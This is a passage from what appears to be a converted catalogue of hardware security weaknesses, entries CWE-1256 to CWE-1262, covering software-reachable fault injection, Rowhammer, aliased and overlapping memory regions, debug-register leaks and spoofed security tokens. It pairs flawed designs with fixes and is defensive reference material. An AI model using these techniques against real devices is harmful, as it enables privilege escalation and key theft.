<b>CVE-2020-12788</b>	CMAC verification vulnerable to timing and power attacks. <a href="https://www.cve.org/CVERecord?id=CVE-2020-12788">https://www.cve.org/CVERecord?id=CVE-2020-12788</a>

**Functional Areas**

- Power

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1206	Power, Clock, Thermal, and Reset Concerns	1194	2266
MemberOf	C	1388	Physical Access Issues and Concerns	1194	2309

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
189	Black Box Reverse Engineering

### References

[REF-1184]Wikipedia. "Power Analysis". < [https://en.wikipedia.org/wiki/Power\\_analysis](https://en.wikipedia.org/wiki/Power_analysis) >.

## CWE-1256: Improper Restriction of Software Interfaces to Hardware Features

**Weakness ID :** 1256

**Structure :** Simple

**Abstraction :** Base

### Description

The product provides software-controllable device functionality for capabilities such as power and clock management, but it does not properly limit functionality that can lead to modification of hardware memory or register bits, or the ability to observe physical side channels.

### Extended Description

It is frequently assumed that physical attacks such as fault injection and side-channel analysis require an attacker to have physical access to the target device. This assumption may be false if the device has improperly secured power management features, or similar features. For mobile devices, minimizing power consumption is critical, but these devices run a wide variety of applications with different performance requirements. Software-controllable mechanisms to dynamically scale device voltage and frequency and monitor power consumption are common features in today's chipsets, but they also enable attackers to mount fault injection and side-channel attacks without having physical access to the device.

Fault injection attacks involve strategic manipulation of bits in a device to achieve a desired effect such as skipping an authentication step, elevating privileges, or altering the output of a cryptographic operation. Manipulation of the device clock and voltage supply is a well-known technique to inject faults and is cheap to implement with physical device access. Poorly protected power management features allow these attacks to be performed from software. Other features, such as the ability to write repeatedly to DRAM at a rapid rate from unprivileged software, can result in bit flips in other memory locations (Rowhammer, [REF-1083]).


Side channel analysis requires gathering measurement traces of physical quantities such as power consumption. Modern processors often include power metering capabilities in the hardware itself (e.g., Intel RAPL) which if not adequately protected enable attackers to gather measurements necessary for performing side-channel attacks from software.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		285	Improper Authorization	649

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System :** Not OS-Specific (*Prevalence = Undetermined*)

**Architecture :** Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology :** Not Technology-Specific (*Prevalence = Undetermined*)

**Technology :** Memory Hardware (*Prevalence = Undetermined*)

**Technology :** Power Management Hardware (*Prevalence = Undetermined*)

**Technology :** Clock/Counter Hardware (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory Modify Application Data Bypass Protection Mechanism	

### Detection Methods

#### Manual Analysis

Perform a security evaluation of system-level architecture and design with software-aided physical attacks in scope.

#### Automated Dynamic Analysis

Use custom software to change registers that control clock settings or power settings to try to bypass security locks, or repeatedly write DRAM to try to change adjacent locations. This can be effective in extracting or changing data. The drawback is that it cannot be run before manufacturing, and it may require specialized software.

*Effectiveness = Moderate*

### Potential Mitigations

#### Phase: Architecture and Design

#### Phase: Implementation

Ensure proper access control mechanisms protect software-controllable features altering physical operating conditions such as clock frequency and voltage.

### Demonstrative Examples

#### Example 1:

This example considers the Rowhammer problem [REF-1083]. The Rowhammer issue was caused by a program in a tight loop writing repeatedly to a location to which the program was allowed to write but causing an adjacent memory location value to change.

Example Language: Other

(Bad)

Continuously writing the same value to the same address causes the value of an adjacent location to change value.

Preventing the loop required to defeat the Rowhammer exploit is not always possible:

Example Language: Other

(Good)

Redesign the RAM devices to reduce inter capacitive coupling making the Rowhammer exploit impossible.

While the redesign may be possible for new devices, a redesign is not possible in existing devices. There is also the possibility that reducing capacitance with a relayout would impact the density of the device resulting in a less capable, more costly device.

### Example 2:

Suppose a hardware design implements a set of software-accessible registers for scaling clock frequency and voltage but does not control access to these registers. Attackers may cause register and memory changes and race conditions by changing the clock or voltage of the device under their control.

### Example 3:

Consider the following SoC design. Security-critical settings for scaling clock frequency and voltage are available in a range of registers bounded by [PRIV\_END\_ADDR : PRIV\_START\_ADDR] in the tmcu.csr module in the HW Root of Trust. These values are writable based on the lock\_bit register in the same module. The lock\_bit is only writable by privileged software running on the tmcu.

We assume that untrusted software running on any of the Core{0-N} processors has access to the input and output ports of the hrot\_iface. If untrusted software can clear the lock\_bit or write the clock frequency and voltage registers due to inadequate protection, a fault injection attack could be performed.

## Observed Examples

Reference	Description
<b>CVE-2019-11157</b>	Plundervolt: Improper conditions check in voltage settings for some Intel(R) Processors may allow a privileged user to potentially enable escalation of privilege and/or information disclosure via local access [REF-1081]. <a href="https://www.cve.org/CVERecord?id=CVE-2019-11157">https://www.cve.org/CVERecord?id=CVE-2019-11157</a>
<b>CVE-2020-8694</b>	PLATYPUS Attack: Insufficient access control in the Linux kernel driver for some Intel processors allows information disclosure. <a href="https://www.cve.org/CVERecord?id=CVE-2020-8694">https://www.cve.org/CVERecord?id=CVE-2020-8694</a>
<b>CVE-2020-8695</b>	Observable discrepancy in the RAPL interface for some Intel processors allows information disclosure. <a href="https://www.cve.org/CVERecord?id=CVE-2020-8695">https://www.cve.org/CVERecord?id=CVE-2020-8695</a>
<b>CVE-2020-12912</b>	AMD extension to a Linux service does not require privileged access to the RAPL interface, allowing side-channel attacks. <a href="https://www.cve.org/CVERecord?id=CVE-2020-12912">https://www.cve.org/CVERecord?id=CVE-2020-12912</a>
<b>CVE-2015-0565</b>	NaCl in 2015 allowed the CLFLUSH instruction, making Rowhammer attacks possible. <a href="https://www.cve.org/CVERecord?id=CVE-2015-0565">https://www.cve.org/CVERecord?id=CVE-2015-0565</a>

## Functional Areas

- Power
- Clock

## MemberOf Relationships



This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		1206	Power, Clock, Thermal, and Reset Concerns		1194 2266
MemberOf		1343	Weaknesses in the 2021 CWE Most Important Hardware Weaknesses List		1343 2352

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
624	Hardware Fault Injection
625	Mobile Device Fault Injection

### References

[REF-1081]Kit Murdock, David Oswald, Flavio D Garcia, Jo Van Bulck, Frank Piessens and Daniel Gruss. "Plundervolt". < <https://plundervolt.com/> >.

[REF-1082]Adrian Tang, Simha Sethumadhavan and Salvatore Stolfo. "CLKSCREW: Exposing the Perils of Security-Oblivious Energy Management". < <https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-tang.pdf> >.

[REF-1083]Yoongu Kim, Ross Daly, Jeremie Kim, Ji Hye Lee, Donghyuk Lee, Chris Wilkerson, Konrad Lai and Onur Mutlu. "Flipping Bits in Memory Without Accessing Them: An Experimental Study of DRAM Disturbance Errors". < <https://users.ece.cmu.edu/~yoonguk/papers/kim-isca14.pdf> >.

[REF-1225]Project Zero. "Exploiting the DRAM rowhammer bug to gain kernel privileges". 2015 March 9. < <https://googleprojectzero.blogspot.com/2015/03/exploiting-dram-rowhammer-bug-to-gain.html> >.

[REF-1217]Ross Anderson. "Security Engineering". 2001. < <https://www.cl.cam.ac.uk/~rja14/musicfiles/manuscripts/SEv1.pdf> >.

## CWE-1257: Improper Access Control Applied to Mirrored or Aliased Memory Regions

**Weakness ID** : 1257  
**Structure** : Simple  
**Abstraction** : Base

### Description

Aliased or mirrored memory regions in hardware designs may have inconsistent read/write permissions enforced by the hardware. A possible result is that an untrusted agent is blocked from accessing a memory region but is not blocked from accessing the corresponding aliased memory region.

### Extended Description

Hardware product designs often need to implement memory protection features that enable privileged software to define isolated memory regions and access control (read/write) policies. Isolated memory regions can be defined on different memory spaces in a design (e.g. system physical address, virtual address, memory mapped IO).

Each memory cell should be mapped and assigned a system address that the core software can use to read/write to that memory. It is possible to map the same memory cell to multiple system addresses such that read/write to any of the aliased system addresses would be decoded to the same memory cell.

This is commonly done in hardware designs for redundancy and simplifying address decoding logic. If one of the memory regions is corrupted or faulty, then that hardware can switch to using the data in the mirrored memory region. Memory aliases can also be created in the system address map if the address decoder unit ignores higher order address bits when mapping a smaller address region into the full system address.

A common security weakness that can exist in such memory mapping is that aliased memory regions could have different read/write access protections enforced by the hardware such that an untrusted agent is blocked from accessing a memory address but is not blocked from accessing the corresponding aliased memory address. Such inconsistency can then be used to bypass the access protection of the primary memory block and read or modify the protected memory.

An untrusted agent could also possibly create memory aliases in the system address map for malicious purposes if it is able to change the mapping of an address region or modify memory region sizes.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644
CanPrecede	⊕	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Memory Hardware (*Prevalence = Undetermined*)

**Technology** : Processor Hardware (*Prevalence = Undetermined*)

**Technology** : Microcontroller Hardware (*Prevalence = Undetermined*)

**Technology** : Network on Chip Hardware (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	High
Integrity	Modify Memory	High
Availability	DoS: Instability	High

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

The checks should be applied for consistency access rights between primary memory regions and any mirrored or aliased memory regions. If different memory protection units (MPU)

are protecting the aliased regions, their protected range definitions and policies should be synchronized.

### Phase: Architecture and Design

### Phase: Implementation

The controls that allow enabling memory aliases or changing the size of mapped memory regions should only be programmable by trusted software components.

## Demonstrative Examples

### Example 1:

In a System-on-a-Chip (SoC) design the system fabric uses 16 bit addresses. An IP unit (Unit\_A) has 4 kilobyte of internal memory which is mapped into a 16 kilobyte address range in the system fabric address map.

To protect the register controls in Unit\_A unprivileged software is blocked from accessing addresses between 0x0000 - 0x0FFF.

The address decoder of Unit\_A masks off the higher order address bits and decodes only the lower 12 bits for computing the offset into the 4 kilobyte internal memory space.

*Example Language: Other*

*(Bad)*

In this design the aliased memory address ranges are these:

0x0000 - 0x0FFF

0x1000 - 0x1FFF

0x2000 - 0x2FFF

0x3000 - 0x3FFF

The same register can be accessed using four different addresses: 0x0000, 0x1000, 0x2000, 0x3000.

The system address filter only blocks access to range 0x0000 - 0x0FFF and does not block access to the aliased addresses in 0x1000 - 0x3FFF range. Thus, untrusted software can leverage the aliased memory addresses to bypass the memory protection.

*Example Language: Other*

*(Good)*

In this design the aliased memory addresses (0x1000 - 0x3FFF) could be blocked from all system software access since they are not used by software.

Alternately, the MPU logic can be changed to apply the memory protection policies to the full address range mapped to Unit\_A (0x0000 - 0x3FFF).

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1202	Memory and Storage Issues	1194	2265

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
456	Infected Memory

**CAPEC-ID** **Attack Pattern Name**

679 Exploitation of Improperly Configured or Implemented Memory Protections

**CWE-1258: Exposure of Sensitive System Information Due to Uncleared Debug Information****Weakness ID** : 1258**Structure** : Simple**Abstraction** : Base**Description**

The hardware does not fully clear security-sensitive values, such as keys and intermediate values in cryptographic operations, when debug mode is entered.

**Extended Description**

Security sensitive values, keys, intermediate steps of cryptographic operations, etc. are stored in temporary registers in the hardware. If these values are not cleared when debug mode is entered they may be accessed by a debugger allowing sensitive information to be accessible by untrusted parties.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		200	Exposure of Sensitive Information to an Unauthorized Actor	484
ChildOf		212	Improper Removal of Sensitive Information Before Storage or Transfer	520

**Applicable Platforms**

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

**Common Consequences**

Scope	Impact	Likelihood
Confidentiality	Read Memory	
Access Control	Bypass Protection Mechanism	

**Potential Mitigations****Phase: Architecture and Design**

Whenever debug mode is enabled, all registers containing sensitive assets must be cleared.

**Demonstrative Examples****Example 1:**

A cryptographic core in a System-On-a-Chip (SoC) is used for cryptographic acceleration and implements several cryptographic operations (e.g., computation of AES encryption and decryption,

SHA-256, HMAC, etc.). The keys for these operations or the intermediate values are stored in registers internal to the cryptographic core. These internal registers are in the Memory Mapped Input Output (MMIO) space and are blocked from access by software and other untrusted agents on the SoC. These registers are accessible through the debug and test interface.

*Example Language: Other*

*(Bad)*

In the above scenario, registers that store keys and intermediate values of cryptographic operations are not cleared when system enters debug mode. An untrusted actor running a debugger may read the contents of these registers and gain access to secret keys and other sensitive cryptographic information.

*Example Language: Other*

*(Good)*

Whenever the chip enters debug mode, all registers containing security-sensitive data are be cleared rendering them unreadable.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1207	Debug and Test Problems	1194	2267

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
37	Retrieve Embedded Sensitive Data
150	Collect Data from Common Resource Locations
204	Lifting Sensitive Data Embedded in Cache
545	Pull Data from System Resources

## CWE-1259: Improper Restriction of Security Token Assignment

**Weakness ID :** 1259

**Structure :** Simple

**Abstraction :** Base

### Description

The System-On-A-Chip (SoC) implements a Security Token mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. However, the Security Tokens are improperly protected.

### Extended Description

Systems-On-A-Chip (Integrated circuits and hardware engines) implement Security Tokens to differentiate and identify which actions originated from which agent. These actions may be one of the directives: 'read', 'write', 'program', 'reset', 'fetch', 'compute', etc. Security Tokens are assigned to every agent in the System that is capable of generating an action or receiving an action from another agent. Multiple Security Tokens may be assigned to an agent and may be unique based on the agent's trust level or allowed privileges. Since the Security Tokens are integral for the maintenance of security in an SoC, they need to be protected properly. A common weakness afflicting Security Tokens is improperly restricting the assignment to trusted components. Consequently, an improperly protected Security Token may be able to be programmed by a malicious agent (i.e., the Security Token is mutable) to spoof the action as if it originated from a trusted agent.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644

*Relevant to the view "Hardware Design" (CWE-1194)*

Nature	Type	ID	Name	Page
ChildOf	⊕	1294	Insecure Security Identifier Mechanism	1983
PeerOf	⊖	1255	Comparison Logic is Vulnerable to Power Side-Channel Attacks	1902

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Processor HardwareNot Technology-Specific (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Modify Files or Directories	High
Integrity	Execute Unauthorized Code or Commands	
Availability	Bypass Protection Mechanism	
Access Control	Gain Privileges or Assume Identity	
	Modify Memory	
	Modify Memory	
	DoS: Crash, Exit, or Restart	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

Security Token assignment review checks for design inconsistency and common weaknesses. Security-Token definition and programming flow is tested in both pre-silicon and post-silicon testing.

### Demonstrative Examples

#### Example 1:

For example, consider a system with a register for storing an AES key for encryption and decryption. The key is of 128 bits implemented as a set of four 32-bit registers. The key register assets have an associated control register, AES\_KEY\_ACCESS\_POLICY, which provides the necessary access controls. This access-policy register defines which agents may engage in a transaction, and the type of transaction, with the AES-key registers. Each bit in this 32-bit register defines a security Token. There could be a maximum of 32 security Tokens that are allowed access to the AES-key registers. The number of the bit when set (i.e., "1") allows respective action from an agent whose identity matches the number of the bit and, if "0" (i.e., Clear), disallows the respective action to that corresponding agent.

Let's assume the system has two agents: a Main-controller and an Aux-controller. The respective Security Tokens are "1" and "2".

An agent with Security Token "1" has access to AES\_ENC\_DEC\_KEY\_0 through AES\_ENC\_DEC\_KEY\_3 registers. As per the above access policy, the AES-Key-access policy allows access to the AES-key registers if the security Token is "1".

*Example Language: Other*

*(Bad)*

The Aux-controller could program its Security Token to "1" from "2".

The SoC does not properly protect the Security Token of the agents, and, hence, the Aux-controller in the above example can spoof the transaction (i.e., send the transaction as if it is coming from the Main-controller to access the AES-Key registers)

*Example Language: Other*

*(Good)*

The SoC needs to protect the Security Tokens. None of the agents in the SoC should have the ability to change the Security Token.

## Notes

### Maintenance

This entry is still under development and will continue to see updates and content improvements. Currently it is expressed as a general absence of a protection mechanism as opposed to a specific mistake, and the entry's name and description could be interpreted as applying to software.

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
121	Exploit Non-Production Interfaces
681	Exploitation of Improperly Controlled Hardware Security Identifiers

## CWE-1260: Improper Handling of Overlap Between Protected Memory Ranges

**Weakness ID** : 1260

**Structure** : Simple

**Abstraction** : Base

### Description

The product allows address regions to overlap, which can result in the bypassing of intended memory protection.

### Extended Description

Isolated memory regions and access control (read/write) policies are used by hardware to protect privileged software. Software components are often allowed to change or remap memory region definitions in order to enable flexible and dynamically changeable memory management by system software.

If a software component running at lower privilege can program a memory address region to overlap with other memory regions used by software running at higher privilege, privilege escalation may be available to attackers. The memory protection unit (MPU) logic can incorrectly handle such an address overlap and allow the lower-privilege software to read or write into the protected memory region, resulting in privilege escalation attack. An address overlap weakness can also be used to launch a denial of service attack on the higher-privilege software memory regions.

## Relationships



The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644
CanPrecede	⊕	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

### Weakness Ordinalities

**Primary :**

**Resultant :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System :** Not OS-Specific (*Prevalence = Undetermined*)

**Architecture :** Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology :** Memory Hardware (*Prevalence = Undetermined*)

**Technology :** Processor Hardware (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Modify Memory	High
Integrity	Read Memory	
Availability	DoS: Instability	

### Detection Methods

#### Manual Analysis

Create a high privilege memory block of any arbitrary size. Attempt to create a lower privilege memory block with an overlap of the high privilege memory block. If the creation attempt works, fix the hardware. Repeat the test.

*Effectiveness = High*

### Potential Mitigations

#### Phase: Architecture and Design

Ensure that memory regions are isolated as intended and that access control (read/write) policies are used by hardware to protect privileged software.

#### Phase: Implementation

For all of the programmable memory protection regions, the memory protection unit (MPU) design can define a priority scheme. For example: if three memory regions can be programmed (Region\_0, Region\_1, and Region\_2), the design can enforce a priority scheme, such that, if a system address is within multiple regions, then the region with the lowest ID takes priority and the access-control policy of that region will be applied. In some MPU designs, the priority scheme can also be programmed by trusted software. Hardware logic or trusted firmware can also check for region definitions and block programming of memory regions with overlapping addresses. The memory-access-control-check filter can also be designed to apply a policy filter to all of the overlapping ranges, i.e., if an address is within Region\_0 and Region\_1, then access to this address is only granted if both Region\_0 and Region\_1 policies allow the access.

*Effectiveness = High*

## Demonstrative Examples

### Example 1:

For example, consider a design with a 16-bit address that has two software privilege levels: Privileged\_SW and Non\_privileged\_SW. To isolate the system memory regions accessible by these two privilege levels, the design supports three memory regions: Region\_0, Region\_1, and Region\_2.

Each region is defined by two 32 bit registers: its range and its access policy.

- Address\_range[15:0]: specifies the Base address of the region
- Address\_range[31:16]: specifies the size of the region
- Access\_policy[31:0]: specifies what types of software can access a region and which actions are allowed

Certain bits of the access policy are defined symbolically as follows:

- Access\_policy.read\_np: if set to one, allows reads from Non\_privileged\_SW
- Access\_policy.write\_np: if set to one, allows writes from Non\_privileged\_SW
- Access\_policy.execute\_np: if set to one, allows code execution by Non\_privileged\_SW
- Access\_policy.read\_p: if set to one, allows reads from Privileged\_SW
- Access\_policy.write\_p: if set to one, allows writes from Privileged\_SW
- Access\_policy.execute\_p: if set to one, allows code execution by Privileged\_SW

For any requests from software, an address-protection filter checks the address range and access policies for each of the three regions, and only allows software access if all three filters allow access.

Consider the following goals for access control as intended by the designer:

- Region\_0 & Region\_1: registers are programmable by Privileged\_SW
- Region\_2: registers are programmable by Non\_privileged\_SW

The intention is that Non\_privileged\_SW cannot modify memory region and policies defined by Privileged\_SW in Region\_0 and Region\_1. Thus, it cannot read or write the memory regions that Privileged\_SW is using.

*Example Language:*

*(Bad)*

Non\_privileged\_SW can program the Address\_range register for Region\_2 so that its address overlaps with the ranges defined by Region\_0 or Region\_1. Using this capability, it is possible for Non\_privileged\_SW to block any memory region from being accessed by Privileged\_SW, i.e., Region\_0 and Region\_1.

This design could be improved in several ways.

*Example Language:*

*(Good)*

Ensure that software accesses to memory regions are only permitted if all three filters permit access. Additionally, the scheme could define a memory region priority to ensure that Region\_2 (the memory region defined by Non\_privileged\_SW) cannot overlap Region\_0 or Region\_1 (which are used by Privileged\_SW).

## Observed Examples

Reference	Description
<b>CVE-2008-7096</b>	virtualization product allows compromise of hardware product by accessing certain remapping registers. <a href="https://www.cve.org/CVERecord?id=CVE-2008-7096">https://www.cve.org/CVERecord?id=CVE-2008-7096</a>

Reference	Description
[REF-1100]	processor design flaw allows ring 0 code to access more privileged rings by causing a register window to overlap a range of protected system RAM [REF-1100] <a href="https://github.com/xoreaxeaxeax/sinkhole/blob/master/us-15-Domas-TheMemorySinkhole-wp.pdf">https://github.com/xoreaxeaxeax/sinkhole/blob/master/us-15-Domas-TheMemorySinkhole-wp.pdf</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1198	Privilege Separation and Access Control Issues	1194	2263
MemberOf	V	1343	Weaknesses in the 2021 CWE Most Important Hardware Weaknesses List	1343	2352

### Notes

#### Maintenance

As of CWE 4.6, CWE-1260 and CWE-1316 are siblings under view 1000, but CWE-1260 might be a parent of CWE-1316. More analysis is warranted.

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
456	Infected Memory
679	Exploitation of Improperly Configured or Implemented Memory Protections

### References

[REF-1100]Christopher Domas. "The Memory Sinkhole". 2015 July 0. < <https://github.com/xoreaxeaxeax/sinkhole/blob/master/us-15-Domas-TheMemorySinkhole-wp.pdf> >.

## CWE-1261: Improper Handling of Single Event Upsets

**Weakness ID** : 1261

**Structure** : Simple

**Abstraction** : Base

### Description

The hardware logic does not effectively handle when single-event upsets (SEUs) occur.

### Extended Description



Technology trends such as CMOS-transistor down-sizing, use of new materials, and system-on-chip architectures continue to increase the sensitivity of systems to soft errors. These errors are random, and their causes might be internal (e.g., interconnect coupling) or external (e.g., cosmic radiation). These soft errors are not permanent in nature and cause temporary bit flips known as single-event upsets (SEUs). SEUs are induced errors in circuits caused when charged particles lose energy by ionizing the medium through which they pass, leaving behind a wake of electron-hole pairs that cause temporary failures. If these failures occur in security-sensitive modules in a chip, it might compromise the security guarantees of the chip. For instance, these temporary failures could be bit flips that change the privilege of a regular user to root.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1384	Improper Handling of Physical or Environmental Conditions	2078
PeerOf		1254	Incorrect Comparison Logic Granularity	1900

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
Access Control	DoS: Instability Gain Privileges or Assume Identity Bypass Protection Mechanism	

### Potential Mitigations

#### Phase: Architecture and Design

Implement triple-modular redundancy around security-sensitive modules.

#### Phase: Architecture and Design

SEUs mostly affect SRAMs. For SRAMs storing security-critical data, implement Error-Correcting-Codes (ECC) and Address Interleaving.

### Demonstrative Examples

#### Example 1:

This is an example from [REF-1089]. See the reference for full details of this issue.

Parity is error detecting but not error correcting.

*Example Language: Other*

*(Bad)*

Due to single-event upsets, bits are flipped in memories. As a result, memory-parity checks fail, which results in restart and a temporary denial of service of two to three minutes.

*Example Language: Other*

*(Good)*

Using error-correcting codes could have avoided the restart caused by SEUs.

#### Example 2:

In 2016, a security researcher, who was also a patient using a pacemaker, was on an airplane when a bit flip occurred in the pacemaker, likely due to the higher prevalence of cosmic radiation at such heights. The pacemaker was designed to account for bit flips and went into a default safe mode, which still forced the patient to go to a hospital to get it reset. The bit flip also inadvertently enabled the researcher to access the crash file, perform reverse engineering, and detect a hard-coded key. [REF-1101]

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1199	General Circuit and Logic Design Concerns	1194	2264
MemberOf	C	1388	Physical Access Issues and Concerns	1194	2309

## References

[REF-1086]Fan Wang and Vishwani D. Agrawal. "Single Event Upset: An Embedded Tutorial". < [https://www.eng.auburn.edu/~agrawvd/TALKS/tutorial\\_6pg.pdf](https://www.eng.auburn.edu/~agrawvd/TALKS/tutorial_6pg.pdf) >.

[REF-1087]P. D. Bradley and E. Normand. "Single Event Upsets in Implantable Cardioverter Defibrillators". < <https://ieeexplore.ieee.org/stamp/stamp.jsp?arnumber=736549> >.

[REF-1088]Melanie Berg, Kenneth LaBel and Jonathan Pellish. "Single Event Effects in FPGA Devices 2015-2016". < <https://ntrs.nasa.gov/search.jsp?R=20160007754> >.

[REF-1089]Cisco. "Cisco 12000 Single Event Upset Failures Overview and Work Around Summary". < <https://www.cisco.com/c/en/us/support/docs/field-notices/200/fn25994.html> >.

[REF-1090]Cypress. "Different Ways to Mitigate Soft Errors in Asynchronous SRAMs - KBA90939". < <https://community.cypress.com/docs/DOC-10826> >.

[REF-1091]Ian Johnston. "Cosmic particles can change elections and cause planes to fall through the sky, scientists warn". < <https://www.independent.co.uk/news/science/subatomic-particles-cosmic-rays-computers-change-elections-planes-autopilot-a7584616.html> >.

[REF-1101]Anders B. Wilhelmsen, Eivind S. Kristiansen and Marie Moe. "The Hard-coded Key to my Heart - Hacking a Pacemaker Programmer". 2019 August 0. < <https://anderbw.github.io/2019-08-10-DC27-Biohacking-pacemaker-programmer.pdf> >.

## CWE-1262: Improper Access Control for Register Interface

**Weakness ID** : 1262

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses memory-mapped I/O registers that act as an interface to hardware functionality from software, but there is improper access control to those registers.

### Extended Description

Software commonly accesses peripherals in a System-on-Chip (SoC) or other device through a memory-mapped register interface. Malicious software could tamper with any security-critical hardware data that is accessible directly or indirectly through the register interface, which could lead to a loss of confidentiality and integrity.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System :** Not OS-Specific (*Prevalence = Undetermined*)

**Architecture :** Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology :** Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Memory Read Application Data Modify Memory Modify Application Data Gain Privileges or Assume Identity Bypass Protection Mechanism Unexpected State Alter Execution Logic  <i>Confidentiality of hardware assets may be violated if the protected information can be read out by software through the register interface. Registers storing security state, settings, other security-critical data may be corruptible by software without correctly implemented protections.</i>	

## Detection Methods

### Manual Analysis

This is applicable in the Architecture phase before implementation started. Make sure access policy is specified for the entire memory map. Manual analysis may not ensure the implementation is correct.

*Effectiveness = Moderate*

### Manual Analysis

